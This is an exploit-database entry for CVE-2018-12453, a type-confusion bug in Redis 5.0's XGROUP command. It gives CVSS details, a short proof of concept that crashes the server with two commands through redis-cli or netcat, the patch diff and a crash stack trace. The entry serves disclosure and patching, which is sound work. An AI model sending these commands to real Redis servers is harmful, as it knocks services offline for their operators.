Exploitalert - Database of Exploits

Redis 5.0 Denial Of Service

CVE	Category	Price	Severity
CVE-2018-12453	CWE-254	Unknown	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2018-06-22

CPE
cpe:cpe:/a:redis:redis:5.0

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H	0.02	0.2

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	None	C	There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity	None	I	There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2018060236

Redis 5.0 Denial Of Service

# Exploit Title: Redis 5.0 Denial of Service # Date: 2018-06-13 # Exploit Author: Fakhri Zulkifli (@d0lph1n98) # Vendor Homepage: https://redis.io/ # Software Link: https://redis.io/download # Version: 5.0 # Fixed on: 5.0 # CVE : CVE-2018-12453 Type confusion in the xgroupCommand function in t_stream.c in redis-server in Redis before 5.0 allows remote attackers to cause denial-of-service via an XGROUP command in which the key is not a stream. PoC: $ ./src/redis-cli -p 1234 127.0.0.1:1234> set a 123 OK 127.0.0.1:1234> xgroup create a b $ Error: Connection reset by peer <a segfault'ed 127.0.0.1:1234> The bug also could be triggered via netcat $ nc 127.0.0.1 1234 set a 123 +OK xgroup create a b $ <a segfaultaed after this line @@ -1576,7 +1576,7 @@ NULL /* Lookup the key now, this is common for all the subcommands but HELP. */ if (c->argc >= 4) { robj *o = lookupKeyWriteOrReply(c,c->argv[2],shared.nokeyerr); - if (o == NULL) return; + if (o == NULL || checkType(c,o,OBJ_STREAM)) return; s = o->ptr; grpname = c->argv[3]->ptr; #0 0x6d0706 in logStackContent /home/user/redis/src/debug.c:732:45 #1 0x6d3917 in sigsegvHandler /home/user/redis/src/debug.c:1089:5 #2 0x7f65d736e38f (/lib/x86_64-linux-gnu/libpthread.so.0+0x1138f) #3 0x804afc in streamLookupCG /home/user/redis/src/t_stream.c:1502:12 #4 0x805b36 in xgroupCommand /home/user/redis/src/t_stream.c:1584:19 #5 0x58ded7 in call /home/user/redis/src/server.c:2298:5 #6 0x591c70 in processCommand /home/user/redis/src/server.c:2580:9 #7 0x5e2d98 in processInputBuffer /home/user/redis/src/networking.c:1325:17 #8 0x565612 in aeProcessEvents /home/user/redis/src/ae.c:443:17 #9 0x56614c in aeMain /home/user/redis/src/ae.c:501:9 #10 0x59da71 in main /home/user/redis/src/server.c:3992:5 #11 0x7f65d6d9d82f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291 #12 0x43da38 in _start (/home/user/redis/src/redis-server+0x43da38)

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